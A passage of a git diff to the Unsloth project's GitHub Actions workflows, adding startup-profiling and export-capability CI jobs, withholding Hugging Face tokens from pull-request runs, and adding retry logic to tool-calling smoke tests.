'studio/install_python_stack.py' + workflow_dispatch: + inputs: + repeats: + description: 'launch repeats per OS (median reported)' + type: string + default: '3' + +concurrency: + group: ${{ github.workflow }}-${{ github.ref }} + cancel-in-progress: true + +permissions: + contents: read + +jobs: + profile: + name: startup ${{ matrix.os }} + runs-on: ${{ matrix.os }} + timeout-minutes: 60 + continue-on-error: true + strategy: + fail-fast: false + matrix: + os: [ubuntu-latest, macos-14, windows-latest] + + env: + UNSLOTH_STUDIO_HOME: ${{ github.workspace }}/.studio-home + # A wildcard bind calls ifconfig.me on the startup path; loopback times our code. + UNSLOTH_STUDIO_DISABLE_PUBLIC_CHECK: '1' + + steps: + - uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd # v6.0.2 + with: + persist-credentials: false + + - name: Install Studio + shell: bash + env: + GH_TOKEN: ${{ secrets.GITHUB_TOKEN }} + run: | + set -o pipefail + mkdir -p logs + # --local is load-bearing: it overlays the checkout, so the profiled server + # is this diff. Without it install.sh resolves unsloth from PyPI. + if [ "${{ runner.os }}" = "Windows" ]; then + pwsh -NoProfile -File ./install.ps1 --local 2>&1 | tee logs/install.log + else + bash install.sh --local 2>&1 | tee logs/install.log + fi + + - name: Profile startup + shell: bash + run: | + BIN="$UNSLOTH_STUDIO_HOME/unsloth_studio/bin/unsloth" + [ -x "$BIN" ] || BIN="$UNSLOTH_STUDIO_HOME/unsloth_studio/Scripts/unsloth.exe" + [ -x "$BIN" ] || BIN="" + # Profile imports with the INSTALLED interpreter: that venv is what launches. + PY="$UNSLOTH_STUDIO_HOME/unsloth_studio/bin/python" + [ -x "$PY" ] || PY="$UNSLOTH_STUDIO_HOME/unsloth_studio/Scripts/python.exe" + [ -x "$PY" ] || PY="$(command -v python3 || command -v python)" + python3 scripts/profile_startup.py \ + --python "$PY" \ + ${BIN:+--bin "$BIN"} \ + --repeats "${{ inputs.repeats || '3' }}" \ + --json "startup-${{ matrix.os }}.json" 2>&1 | tee logs/profile.log + + - name: Summary + if: always() + shell: bash + run: | + f="startup-${{ matrix.os }}.json" + [ -f "$f" ] || { echo "no profile produced"; exit 0; } + python3 - "$f" >> "$GITHUB_STEP_SUMMARY" <<'PY' + import json, sys + d = json.load(open(sys.argv[1])) + print(f"### {d['platform']} / {d['machine']} (py {d['python']}, {d['cpu_count']} cpu)\n") + imp = d.get("imports", {}) + # Gate on ok: a failed `import main` still leaves rows, so a total can lie. + if imp.get("ok"): + print(f"**`import main`: {imp['total_seconds']}s**\n") + print("| package | self ms |") + print("|---|---:|") + for k, v in list(imp.get("self_by_package_ms", {}).items())[:8]: + print(f"| {k} | {v} |") + print() + else: + print("**`import main` failed - no valid import profile**\n") + print("```\n" + (imp.get("error") or "")[-1500:] + "\n```\n") + lau = d.get("launch") or {} + runs = len(lau.get("runs") or []) + failed = lau.get("failed_runs") or 0 + if lau.get("healthz_median_seconds") is not None: + # The aggregates cover only the runs that reached healthz, so flag the + # failures: bare numbers would read as a normal fast startup. + note = f" _({runs - failed} of {runs} launches; {failed} never became healthy)_" if failed else "" + print(f"**time to a healthy port: {lau['healthz_median_seconds']}s median, " + f"{lau['healthz_max_seconds']}s max**{note}\n") + elif lau.get("skipped"): + print(f"_launch phase skipped: {lau['skipped']}_\n") + elif runs: + print(f"**no launch measurement: all {runs} launches failed to become healthy**\n") + PY + + - name: Upload profile + if: always() + uses: actions/upload-artifact@043fb46d1a93c77aae656e7c1c64a875d1fc6a0a # v7.0.1 + with: + name: startup-profile-${{ matrix.os }} + path: | + startup-*.json + logs/ + retention-days: 14 + if-no-files-found: warn diff --git a/.github/workflows/studio-api-smoke.yml b/.github/workflows/studio-api-smoke.yml index b196805cf7..1cfa66fea4 100644 --- a/.github/workflows/studio-api-smoke.yml +++ b/.github/workflows/studio-api-smoke.yml @@ -1,7 +1,7 @@ # SPDX-License-Identifier: AGPL-3.0-only # Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. -# Studio API & Auth Tests -- HTTP-level integration tests for the +# Unsloth API & Auth Tests -- HTTP-level integration tests for the # FastAPI surface. No Playwright, no model UI; tests/studio/test_studio_api_smoke.py # runs ~30 s and asserts: # - CORS hardening (no wildcard + credentials, no bootstrap leak) @@ -15,7 +15,7 @@ # Reuses the GGUF cache key from studio-ui-smoke.yml so the model # download is one cache-hit on the second job. -name: Studio API CI +name: Unsloth API CI on: pull_request: @@ -40,7 +40,7 @@ permissions: jobs: api-smoke: - name: Studio API & Auth Tests + name: Unsloth API & Auth Tests runs-on: ubuntu-latest timeout-minutes: 12 env: @@ -83,7 +83,8 @@ jobs: id: prime-hf if: steps.cache-hf.outputs.cache-hit != 'true' || steps.cache-hf.outcome != 'success' env: - HF_TOKEN: ${{ secrets.HF_TOKEN }} + # Withheld on PR: this step runs checked-out PR code; public GGUF still downloads. + HF_TOKEN: ${{ github.event_name != 'pull_request' && secrets.HF_TOKEN || '' }} run: | python -m pip install --upgrade huggingface_hub mkdir -p hf-cache @@ -97,10 +98,11 @@ jobs: path: hf-cache key: ${{ runner.os }}-hf-${{ env.GGUF_REPO }}-${{ env.GGUF_VARIANT }}-v2 - - name: Install Studio (--local, --no-torch) + - name: Install Unsloth (--local, --no-torch) env: GH_TOKEN: ${{ secrets.GITHUB_TOKEN }} - HF_TOKEN: ${{ secrets.HF_TOKEN }} + # Withheld on PR: this step runs checked-out PR code; public GGUF still downloads. + HF_TOKEN: ${{ github.event_name != 'pull_request' && secrets.HF_TOKEN || '' }} run: | mkdir -p logs set -o pipefail @@ -109,9 +111,10 @@ jobs: - name: Install pyjwt for the JWT-expiry forge test run: pip install 'pyjwt>=2.6' - - name: Reset auth + boot Studio (API-only) + - name: Reset auth + boot Unsloth (API-only) run: | - unsloth studio reset-password + # Wipe (not reset-password): the boot below must re-seed a fresh .bootstrap_password. + rm -rf ~/.unsloth/studio/auth mkdir -p logs UNSLOTH_API_ONLY=1 unsloth studio -H 127.0.0.1 -p "$STUDIO_PORT" \ > logs/studio.log 2>&1 & @@ -142,7 +145,7 @@ jobs: echo "STUDIO_NEW_PW=$NEW" >> "$GITHUB_ENV" echo "STUDIO_NEW2_PW=$NEW2" >> "$GITHUB_ENV" - - name: Run Studio API & Auth tests + - name: Run Unsloth API & Auth tests # The script is named WITHOUT a `test_` prefix so it isn't # auto-collected by pytest in Backend CI's `tests/` walk # (which doesn't set BASE_URL and would crash at import). @@ -151,7 +154,7 @@ jobs: STUDIO_AUTH_DIR: /home/runner/.unsloth/studio/auth run: python tests/studio/studio_api_smoke.py - - name: Stop Studio + - name: Stop Unsloth if: always() run: | kill "${STUDIO_PID}" 2>/dev/null || true diff --git a/.github/workflows/studio-backend-ci.yml b/.github/workflows/studio-backend-ci.yml index 88c7344683..dd5efbb299 100644 --- a/.github/workflows/studio-backend-ci.yml +++ b/.github/workflows/studio-backend-ci.yml @@ -30,6 +30,13 @@ on: - 'unsloth/**' - 'unsloth_cli/**' - 'tests/**' + # The root installers: tests/sh/*.sh and tests/studio/install/* assert + # against these two files, so a change here must run the suite that + # covers it. Without them an install-only edit (the shape most AMD/ROCm + # routing fixes take) skipped Backend CI entirely. + - 'install.sh' + - 'install.ps1' + - 'scripts/**' - 'pyproject.toml' - '.github/workflows/studio-backend-ci.yml' push: @@ -64,19 +71,20 @@ jobs: - name: Install backend test dependencies (CPU only) run: | python -m pip install --upgrade pip - # Studio's declared backend deps: + # Unsloth's declared backend deps: pip install -r studio/backend/requirements/studio.txt # Extras that studio.txt does not list but the import chain needs # (python-multipart for FastAPI form/file uploads, sqlalchemy/cryptography - # for the auth DB, yaml/jinja2 for utils.models.model_config, etc.): + # for the auth DB, yaml/jinja2 for utils.models.model_config, psutil for + # the orphan-cleanup process scan, etc.): pip install \ - python-multipart aiofiles sqlalchemy cryptography \ + python-multipart aiofiles sqlalchemy cryptography psutil \ pyyaml jinja2 mammoth unpdf requests \ 'numpy<3' pytest pytest-asyncio httpx # Torch CPU + transformers are required by a chunk of the backend test # suite (gpu_selection, kv_cache_estimation, utils). CPU-only torch # keeps the install ~250 MB / ~1 min on a clean runner. - pip install --index-url https://download.pytorch.org/whl/cpu 'torch>=2.4,<2.11' + pip install --index-url https://download.pytorch.org/whl/cpu --extra-index-url https://pypi.org/simple 'torch>=2.4,<2.11' pip install 'transformers>=4.51,<5.5' - name: Backend tests @@ -133,11 +141,11 @@ jobs: python -m pip install --upgrade pip pip install -r studio/backend/requirements/studio.txt pip install \ - python-multipart aiofiles sqlalchemy cryptography \ + python-multipart aiofiles sqlalchemy cryptography psutil \ pyyaml jinja2 mammoth unpdf requests typer \ 'numpy<3' pytest pytest-asyncio httpx # torchvision: unsloth_zoo.vision_utils imports it at module scope. - pip install --index-url https://download.pytorch.org/whl/cpu \ + pip install --index-url https://download.pytorch.org/whl/cpu --extra-index-url https://pypi.org/simple \ 'torch>=2.4,<2.11' 'torchvision<0.26' pip install 'transformers>=4.51,<5.5' # bitsandbytes: hard import in unsloth/models/_utils.py. Recent @@ -192,6 +200,7 @@ jobs: --ignore=tests/sh \ --ignore=tests/studio/test_hardware_dispatch_matrix.py \ --ignore=tests/studio/test_is_mlx_dispatch_gate.py \ + --ignore=tests/studio/test_xpu_spoof_pipeline.py \ --ignore=tests/vllm_compat \ --ignore=tests/version_compat \ -m 'not server and not e2e' \ @@ -204,29 +213,53 @@ jobs: env: PYTHONPATH: ${{ github.workspace }}/studio UNSLOTH_COMPILE_DISABLE: '1' - # These two files mutate hardware.py module globals at runtime - # via the spoof fixtures, which leaks state into any other test - # that imports hardware. Run them in their own pytest invocation - # so the leak does not cross file boundaries. + # These files mutate hardware.py module globals at runtime via the + # spoof fixtures (CUDA/ROCm/XPU/MLX/CPU), which leaks state into any + # other test that imports hardware. Run them in their own pytest + # invocation so the leak does not cross file boundaries. run: | python -m pytest -q --tb=short \ tests/studio/test_hardware_dispatch_matrix.py \ - tests/studio/test_is_mlx_dispatch_gate.py + tests/studio/test_is_mlx_dispatch_gate.py \ + tests/studio/test_xpu_spoof_pipeline.py + + - name: CLI tests (unsloth_cli) + # unsloth_cli/tests had no CI at all: `unsloth_cli/**` was only a paths + # trigger and a ruff target, so 673 tests covering the studio launcher, + # the pre-exposure gate and the auth secret writers ran nowhere, and + # four of them had been failing on main unnoticed. + # Own step, not folded into the tests/ discovery above: pyproject's + # testpaths is tests/, and this suite needs no PYTHONPATH or CUDA spoof + # (it self-bootstraps sys.path and imports neither unsloth nor torch). + run: python -m pytest unsloth_cli/tests -q --tb=short - name: Shell installer tests - # Subset that does not depend on a writable / pristine install.sh - # tree; test_install_host_defaults.sh checks install.ps1 layout - # which has drifted (separate followup). + # Auto-discovered rather than allowlisted. The old hardcoded list had + # silently fallen seven files behind tests/run_all.sh, including + # test_strixhalo_wsl_reroute.sh -- the only shell coverage of the ROCm + # WSL reroute -- so that suite never ran on a PR. Skips are explicit, + # each with a reason, and tests/studio/test_ci_shell_suite_coverage.py + # fails if this step stops discovering the directory or the skip list + # grows without one. + # + # Skipped: + # test_install_host_defaults.sh: asserts an install.ps1 layout that + # has drifted (separate followup). + # test_install_rollback_lifecycle.sh: already runs on both platforms + # in cross-platform-parity-ci.yml. run: | set -e - for s in \ - tests/sh/test_get_torch_index_url.sh \ - tests/sh/test_mac_intel_compat.sh \ - tests/sh/test_nvcc_meets_llama_minimum.sh \ - tests/sh/test_tauri_install_exit_order.sh \ - tests/sh/test_torch_constraint.sh; do + skip="test_install_host_defaults.sh test_install_rollback_lifecycle.sh" + found=0 + for s in tests/sh/test_*.sh; do + case " $skip " in + *" $(basename "$s") "*) echo "skipping $s (see workflow comment)"; continue ;; + esac + found=$((found + 1)) echo "::group::$s" bash "$s" echo "::endgroup::" done + [ "$found" -gt 0 ] || { echo "::error::no shell tests discovered under tests/sh"; exit 1; } + echo "ran $found shell installer test files" diff --git a/.github/workflows/studio-export-capability-ci.yml b/.github/workflows/studio-export-capability-ci.yml new file mode 100644 index 0000000000..83df3ed476 --- /dev/null +++ b/.github/workflows/studio-export-capability-ci.yml @@ -0,0 +1,76 @@ +# SPDX-License-Identifier: AGPL-3.0-only +# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. + +# Runs studio/backend/tests/test_export_capability.py on Linux, Windows and macOS. +# +# export_capability() is per-OS (is_apple_silicon() and the PyTorch-import probe differ per +# platform) and the export backend must import without PyTorch, so this confirms the gating and +# import-safety on hosted Windows/macOS. Hosted runners have no GPU/MLX, so a real accelerator +# export is validated separately. No GPU / model / llama.cpp: the tests mock the probes and block +# torch/unsloth, so the job installs only a CPU PyTorch plus import deps. + +name: Unsloth export capability + +on: + pull_request: + paths: + - 'studio/backend/utils/hardware/hardware.py' + - 'studio/backend/core/export/export.py' + - 'studio/backend/routes/export.py' + - 'studio/backend/main.py' + - 'studio/backend/tests/test_export_capability.py' + - '.github/workflows/studio-export-capability-ci.yml' + push: + branches: [main] + paths: + - 'studio/backend/utils/hardware/hardware.py' + - 'studio/backend/core/export/export.py' + - 'studio/backend/routes/export.py' + - 'studio/backend/main.py' + - 'studio/backend/tests/test_export_capability.py' + - '.github/workflows/studio-export-capability-ci.yml' + workflow_dispatch: + +concurrency: + group: ${{ github.workflow }}-${{ github.ref }} + cancel-in-progress: true + +permissions: + contents: read + +jobs: + capability: + name: capability (${{ matrix.os }}) + strategy: + fail-fast: false + matrix: + os: [ubuntu-latest, windows-latest, macos-latest] + runs-on: ${{ matrix.os }} + timeout-minutes: 20 + env: + # No accelerator on hosted runners; keep detection on the CPU path. + CUDA_VISIBLE_DEVICES: "" + steps: + - uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd # v6.0.2 + with: + persist-credentials: false + - uses: actions/setup-python@a309ff8b426b58ec0e2a45f0f869d46889d02405 # v6.2.0 + with: + python-version: '3.12' + cache: 'pip' + - name: Upgrade pip + run: python -m pip install --upgrade pip + - name: Install CPU PyTorch + # CPU wheel index so every OS gets a CPU build; keep PyPI as an extra index so torch's + # transitive deps still resolve (matching the other workflows in this repo). + run: python -m pip install --index-url https://download.pytorch.org/whl/cpu --extra-index-url https://pypi.org/simple "torch>=2.4,<2.13" + - name: Install backend import deps + # Enough to import utils.hardware and core.export.export; NOT unsloth (needs a GPU, and + # the import-safety test blocks it) or triton/llama.cpp (Linux-only / native builds). + run: python -m pip install + transformers peft accelerate safetensors huggingface_hub datasets + sentencepiece protobuf fastapi starlette structlog psutil + python-multipart pydantic httpx "numpy<3" pytest + - name: Export capability + import-safety tests + working-directory: studio/backend + run: python -m pytest tests/test_export_capability.py -q diff --git a/.github/workflows/studio-frontend-ci.yml b/.github/workflows/studio-frontend-ci.yml index b42086f191..773e555c8b 100644 --- a/.github/workflows/studio-frontend-ci.yml +++ b/.github/workflows/studio-frontend-ci.yml @@ -133,10 +133,13 @@ jobs: - name: Typecheck run: npm run typecheck + - name: Unit tests + run: npm test + - name: Build run: npm run build - - name: Built bundle must not contain Studio's unstable_Provider call site + - name: Built bundle must not contain Unsloth's unstable_Provider call site run: | set -e JS=$(ls dist/assets/index-*.js | head -1) @@ -144,7 +147,7 @@ jobs: echo "main bundle: $JS" echo "unstable_Provider: hits=$HITS (assistant-ui internals contribute up to 3)" if [ "$HITS" -gt 3 ]; then - echo "::error file=studio/frontend/src/features/chat/runtime-provider.tsx::Studio bundle still passes unstable_Provider through useRemoteThreadListRuntime; this is the 2026.5.1 chat-history regression. Pass adapters directly into useLocalRuntime instead." + echo "::error file=studio/frontend/src/features/chat/runtime-provider.tsx::Unsloth bundle still passes unstable_Provider through useRemoteThreadListRuntime; this is the 2026.5.1 chat-history regression. Pass adapters directly into useLocalRuntime instead." exit 1 fi diff --git a/.github/workflows/studio-inference-smoke.yml b/.github/workflows/studio-inference-smoke.yml index cffb33f71d..c37c9555bf 100644 --- a/.github/workflows/studio-inference-smoke.yml +++ b/.github/workflows/studio-inference-smoke.yml @@ -1,7 +1,7 @@ # SPDX-License-Identifier: AGPL-3.0-only # Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. -# Three end-to-end smoke jobs that boot a freshly-installed Studio and +# Three end-to-end smoke jobs that boot a freshly-installed Unsloth and # exercise the surfaces real users hit through the OpenAI / Anthropic # SDKs and curl. Each job picks the smallest model that exercises the # behaviour under test, primes HF_HOME via actions/cache, and shares @@ -27,7 +27,7 @@ # All three jobs run in parallel. Total wall time is dominated by job 3 # on a cold cache; warm cache cuts that to ~3 min. -name: Studio GGUF CI +name: Unsloth GGUF CI on: pull_request: @@ -97,7 +97,8 @@ jobs: id: prime-hf if: steps.cache-hf.outputs.cache-hit != 'true' || steps.cache-hf.outcome != 'success' env: - HF_TOKEN: ${{ secrets.HF_TOKEN }} + # Withheld on PR: this step runs checked-out PR code; public GGUF still downloads. + HF_TOKEN: ${{ github.event_name != 'pull_request' && secrets.HF_TOKEN || '' }} run: | python -m pip install --upgrade huggingface_hub mkdir -p hf-cache @@ -111,10 +112,11 @@ jobs: path: hf-cache key: ${{ runner.os }}-hf-${{ env.GGUF_REPO }}-${{ env.GGUF_VARIANT }}-v2 - - name: Install Studio (--local, --no-torch) + - name: Install Unsloth (--local, --no-torch) env: GH_TOKEN: ${{ secrets.GITHUB_TOKEN }} - HF_TOKEN: ${{ secrets.HF_TOKEN }} + # Withheld on PR: this step runs checked-out PR code; public GGUF still downloads. + HF_TOKEN: ${{ github.event_name != 'pull_request' && secrets.HF_TOKEN || '' }} run: | mkdir -p logs set -o pipefail @@ -123,9 +125,10 @@ jobs: - name: Install OpenAI + Anthropic Python SDKs run: pip install 'openai>=1.50' 'anthropic>=0.40' - - name: Reset auth + boot Studio (API-only) + - name: Reset auth + boot Unsloth (API-only) run: | - unsloth studio reset-password + # Wipe (not reset-password): the boot below must re-seed a fresh .bootstrap_password. + rm -rf ~/.unsloth/studio/auth mkdir -p logs UNSLOTH_API_ONLY=1 unsloth studio -H 127.0.0.1 -p "$STUDIO_PORT" \ > logs/studio.log 2>&1 & @@ -140,7 +143,7 @@ jobs: fi sleep 1 done - echo "Studio did not become healthy in 180s" + echo "Unsloth did not become healthy in 180s" tail -200 logs/studio.log exit 1 @@ -227,11 +230,11 @@ jobs: return replies def run_anthropic(): - # Two SDK quirks vs. Studio: + # Two SDK quirks vs. Unsloth: # 1. base_url must NOT include /v1 -- the SDK appends # /v1/messages itself; otherwise the request hits # /v1/v1/messages and 405s. - # 2. The SDK sends `x-api-key` by default, but Studio's + # 2. The SDK sends `x-api-key` by default, but Unsloth's # auth layer is HTTPBearer-only. Override via # default_headers so Authorization: Bearer ... is # sent instead. @@ -274,7 +277,7 @@ jobs: print( f"[{label}] WARN non-determinism at temperature=0.0 across " f"{len(determinism_failures)} of {len(first)} turn(s); " - f"small-quant model drift, not a Studio regression. " + f"small-quant model drift, not an Unsloth regression. " f"Details: " + " | ".join(determinism_failures) ) # Sanity: turn-2 reply should mention the earlier question, and @@ -288,7 +291,7 @@ jobs: print(f"[{label}] {status_word} -- 4 turns, history grounded ('paris' present)") PY - - name: Stop Studio + - name: Stop Unsloth if: always() run: | kill "${STUDIO_PID}" 2>/dev/null || true @@ -317,17 +320,20 @@ jobs: timeout-minutes: 25 env: # Tool calling is the highest-volume GGUF in this workflow - # (Qwen3.5-2B at IQ3_XXS = ~890 MiB). Caching HF_HOME would + # (Qwen3.5-2B at Q4_K_XL = ~1.28 GiB). Caching HF_HOME would # store xet chunks + blobs + snapshots = ~4 GiB compressed -- # 4-5x file-size inflation, dominated by xet chunks. Use main's # `--local-dir gguf-cache` pattern to cache the flat .gguf only. - # Studio's /api/inference/load accepts either a HF repo (which + # Unsloth's /api/inference/load accepts either a HF repo (which # uses HF_HOME) or an absolute file path; passing the absolute # path keeps the test off HF_HOME entirely so the cache size # tracks the GGUF file 1:1. The OpenAI/Anth and JSON+images # jobs still cover the gguf_variant resolution path. + # Q4_K_XL, not IQ3_XXS: at IQ3_XXS this model emits malformed + # tool calls that llama-server's peg-native parser rejects with a + # 500. Mac/Windows already use Q4_K_XL for the same reason. GGUF_REPO: unsloth/Qwen3.5-2B-GGUF - GGUF_FILE: Qwen3.5-2B-UD-IQ3_XXS.gguf + GGUF_FILE: Qwen3.5-2B-UD-Q4_K_XL.gguf STUDIO_PORT: '18889' steps: - uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd # v6.0.2 @@ -361,7 +367,8 @@ jobs: id: download-gguf if: steps.cache-gguf.outputs.cache-hit != 'true' || steps.cache-gguf.outcome != 'success' env: - HF_TOKEN: ${{ secrets.HF_TOKEN }} + # Withheld on PR: this step runs checked-out PR code; public GGUF still downloads. + HF_TOKEN: ${{ github.event_name != 'pull_request' && secrets.HF_TOKEN || '' }} run: | python -m pip install --upgrade huggingface_hub mkdir -p gguf-cache @@ -374,16 +381,17 @@ jobs: path: gguf-cache key: ${{ runner.os }}-gguf-${{ env.GGUF_REPO }}-${{ env.GGUF_FILE }}-v1 - - name: Install Studio (--local, --no-torch) + - name: Install Unsloth (--local, --no-torch) env: GH_TOKEN: ${{ secrets.GITHUB_TOKEN }} - HF_TOKEN: ${{ secrets.HF_TOKEN }} + # Withheld on PR: this step runs checked-out PR code; public GGUF still downloads. + HF_TOKEN: ${{ github.event_name != 'pull_request' && secrets.HF_TOKEN || '' }} run: | mkdir -p logs set -o pipefail bash install.sh --local --no-torch 2>&1 | tee logs/install.log - - name: Reset auth + boot Studio (API-only, default tool policy) + - name: Reset auth + boot Unsloth (API-only, default tool policy) # We deliberately use the API-only mode rather than # `unsloth studio run` because the latter calls # `set_tool_policy(...)` with a resolved bool: on loopback the @@ -393,7 +401,7 @@ jobs: # tool_policy=None so each request's `enable_tools` field is # honoured. run: | - unsloth studio reset-password + rm -rf ~/.unsloth/studio/auth mkdir -p logs UNSLOTH_API_ONLY=1 unsloth studio -H 127.0.0.1 -p "$STUDIO_PORT" \ > logs/studio.log 2>&1 & @@ -437,6 +445,8 @@ jobs: python - <<'PY' import json import os + import time + import urllib.error import urllib.request BASE = os.environ["BASE_URL"] @@ -457,10 +467,26 @@ jobs: "Content-Type": "application/json", }, ) - with urllib.request.urlopen(req, timeout = timeout) as resp: - return resp.status, json.loads(resp.read().decode()) + # Shared CI runners stall sporadically, so retry transport-level + # failures only; HTTP status errors surface immediately. Bounded + # to fit the job's timeout-minutes: short probes get 3 full + # attempts, long probes one retry capped at 300s (a healthy + # server answers a retry quickly; a stalled one never does). + attempts = 3 if timeout <= 300 else 2 + for attempt in range(attempts): + try: + t = timeout if attempt == 0 else min(timeout, 300) + with urllib.request.urlopen(req, timeout = t) as resp: + return resp.status, json.loads(resp.read().decode()) + except urllib.error.HTTPError: + raise + except (TimeoutError, ConnectionError, urllib.error.URLError) as exc: + if attempt == attempts - 1: + raise + print(f"[retry] {path}: {exc!r}", flush = True) + time.sleep(15) - def post_sse(path, body, *, timeout = 600): + def post_sse(path, body, *, timeout = 600, retries = 1, complete_on = None): """POST a streaming request and accumulate the assistant text deltas. The server-side agentic loop ALWAYS returns SSE regardless of the request's `stream` field, so any @@ -476,6 +502,22 @@ jobs: invocation markers / tool output, since `delta.content` alone is not evidence that the tool path executed. + + A shared CI runner can stall the stream transport (the + connection opening, or a mid-stream read) even when Unsloth + is healthy, so retry a stall once with a fresh request + capped at 300s. A stall means the stream did NOT complete, + so partial events are normally NOT returned (an early + tool_start with no tool_end is not proof the tool loop + finished). The one exception is `complete_on`: an optional + predicate over the events collected so far -- when a stall + happens after it is already satisfied (the tool ran and + produced its result before the trailing read timed out), + those events are returned rather than discarded, so the + stall-after-answer case still counts. HTTP status errors + surface immediately; a stall that yields no completed result + across all attempts re-raises so the caller can rotate to + the next seed. """ body = {**body, "stream": True} data = json.dumps(body).encode() @@ -488,26 +530,45 @@ jobs: "Content-Type": "application/json", }, ) - parts = [] - events = [] - with urllib.request.urlopen(req, timeout = timeout) as resp: - for raw in resp: - line = raw.decode().strip() - if not line.startswith("data: "): - continue - payload = line[6:] - if payload == "[DONE]": - break - events.append(payload) - try: - chunk = json.loads(payload) - except json.JSONDecodeError: - continue - for choice in chunk.get("choices", []): - delta = choice.get("delta", {}) or {} - if delta.get("content"): - parts.append(delta["content"]) - return "".join(parts), events + for attempt in range(retries + 1): + parts = [] + events = [] + t = timeout if attempt == 0 else min(timeout, 300) + try: + with urllib.request.urlopen(req, timeout = t) as resp: + for raw in resp: + line = raw.decode().strip() + if not line.startswith("data: "): + continue + payload = line[6:] + if payload == "[DONE]": + break + events.append(payload) + try: + chunk = json.loads(payload) + except json.JSONDecodeError: + continue + for choice in chunk.get("choices", []): + delta = choice.get("delta", {}) or {} + if delta.get("content"): + parts.append(delta["content"]) + return "".join(parts), events + except urllib.error.HTTPError: + raise + except (TimeoutError, ConnectionError, urllib.error.URLError) as exc: + # A stall after the tool already produced its result is + # the case this probe exists to tolerate: keep those + # events. But a stall with only an early tool_start (no + # completed output) is not proof the tool loop finished, + # so it must not pass -- retry once, then raise so + # _run_tool_probe rotates to the next seed. + if complete_on is not None and complete_on(events): + print(f"[retry-sse] {path}: {exc!r}; keeping {len(events)} completed events", flush = True) + return "".join(parts), events + if attempt == retries: + raise + print(f"[retry-sse] {path}: {exc!r}", flush = True) + time.sleep(15) _STUDIO_TOOL_TYPES = { "tool_start", "tool_end", "tool_use", "tool_result", @@ -515,11 +576,11 @@ jobs: def _tool_invoked(events): """Structural check: True iff some SSE payload is a real - tool envelope (Studio tool_start/tool_end, Anthropic + tool envelope (Unsloth tool_start/tool_end, Anthropic tool_use/tool_result, OpenAI non-empty delta.tool_calls / message.tool_calls / finish_reason='tool_calls' / role:'tool' / function_call). tool_status is NOT - evidence: Studio emits empty tool_status events on + evidence: Unsloth emits empty tool_status events on iteration boundaries even when no tool ran. """ for raw in events: @@ -638,23 +699,61 @@ jobs: attempt has structural invocation evidence. WARN (not FAIL) if invoked but no attempt produces the expected literal in tool_end.result -- small-quant Qwen3.5-2B can - emit OpenAI tool_calls deltas without Studio's GGUF + emit OpenAI tool_calls deltas without Unsloth's GGUF agentic loop intercepting them, and that GGUF-vs-OpenAI format mismatch is out of scope for #5642. """ attempts_log = [] best = None + # Cap the wall-clock spent rotating through stalled seeds so a + # persistent no-data wedge fails fast (clean assertion) instead + # of being killed by the job's timeout-minutes. A healthy or + # merely degenerate round answers in seconds, so all seeds still + # run in the normal case; only stalls consume the budget. + probe_deadline = time.monotonic() + 300 for attempt_i in range(max_attempts): + # Cap each read by the budget still remaining (not just a flat + # 180s) and skip an attempt too small to finish, so the whole + # rotation stays within ~300s -- two probes then fit the job's + # timeout-minutes even if every seed stalls. + remaining = int(probe_deadline - time.monotonic()) + if attempt_i and remaining < 30: + print(f"[tools] {label}: seed-rotation budget spent after {attempt_i} attempts", flush = True) + break attempt_seed = SEED + attempt_i - content, events = post_sse("/v1/chat/completions", { - "messages": [{"role": "user", "content": prompt}], - "enable_tools": True, - "enabled_tools": enabled, - "session_id": f"{session}-att{attempt_i}", - "temperature": TOOL_PROBE_TEMP, - "seed": attempt_seed, - "max_tokens": 600, - }) + try: + # Bounded per-attempt timeout, no inner retry -- the seed + # loop IS the retry, so a stall raises quickly and rotates + # rather than spending post_sse's full 600+300s. complete_on + # keeps a stall that already produced the tool result (only + # the trailing read timed out) instead of discarding it. + content, events = post_sse("/v1/chat/completions", { + "messages": [{"role": "user", "content": prompt}], + "enable_tools": True, + "permission_mode": "full", + "enabled_tools": enabled, + "session_id": f"{session}-att{attempt_i}", + "temperature": TOOL_PROBE_TEMP, + "seed": attempt_seed, + "max_tokens": 600, + }, timeout = min(180, remaining), retries = 0, + complete_on = lambda ev: _tool_invoked(ev) and _tool_output_contains(ev, *needles)) + except urllib.error.HTTPError: + # HTTPError subclasses URLError, so re-raise a real 4xx/5xx + # here instead of letting the transport-stall handler below + # swallow it and rotate seeds -- an endpoint status failure + # must surface, not be masked as missing tool evidence. + raise + except (TimeoutError, ConnectionError, urllib.error.URLError) as exc: + # A transport stall that outlived post_sse's own retry: + # log it as a failed attempt and rotate to the next seed + # rather than sinking the whole probe on one bad stream. + attempts_log.append({ + "attempt": attempt_i, "seed": attempt_seed, + "transport_error": repr(exc), + }) + print(f"[tools] retry {label} attempt {attempt_i}: transport {exc!r}", flush = True) + continue invoked = _tool_invoked(events) produced = _tool_output_contains(events, *needles) attempts_log.append({ @@ -713,17 +812,21 @@ jobs: # because (a) the search may legitimately return no results, # and (b) DuckDuckGo upstream blocks GHA IP ranges often # enough that requiring a tool_call marker would create - # red-herring failures from infra rather than from Studio. + # red-herring failures from infra rather than from Unsloth. try: + # Best-effort and bounded: a single 180s attempt keeps a stall + # from eating the job's timeout-minutes (it already WARNs, so a + # retry buys nothing). content, events = post_sse("/v1/chat/completions", { "messages": [{"role": "user", "content": "Search the web for 'unsloth ai github' and summarise."}], "enable_tools": True, + "permission_mode": "full", "enabled_tools": ["web_search"], "session_id": "ci-tool-calling-web", "temperature": 0.0, "seed": SEED, "max_tokens": 400, - }) + }, timeout = 180, retries = 0) print( f"[tools] PASS web_search stream ({len(content)} chars in content, " f"{len(events)} raw events)" @@ -732,7 +835,7 @@ jobs: print(f"[tools] WARN web_search probe failed (non-blocking): {exc}") # ── 5. Thinking on / off ───────────────────────────────────── - # Studio strips think blocks from message.content for tools-mode + # Unsloth strips think blocks from message.content for tools-mode # responses, so we toggle plain chat (no enable_tools) and look # at the surfaced reasoning_content / message.thinking field. def thinking_call(enable): @@ -746,7 +849,7 @@ jobs: }) assert status == 200 msg = data["choices"][0]["message"] - # Studio surfaces thinking via reasoning_content (OpenAI + # Unsloth surfaces thinking via reasoning_content (OpenAI # extension). Fall back to inline markers for # robustness across template versions. raw = (msg.get("content") or "") + (msg.get("reasoning_content") or "") @@ -766,12 +869,15 @@ jobs: print(f"[tools] PASS thinking on/off 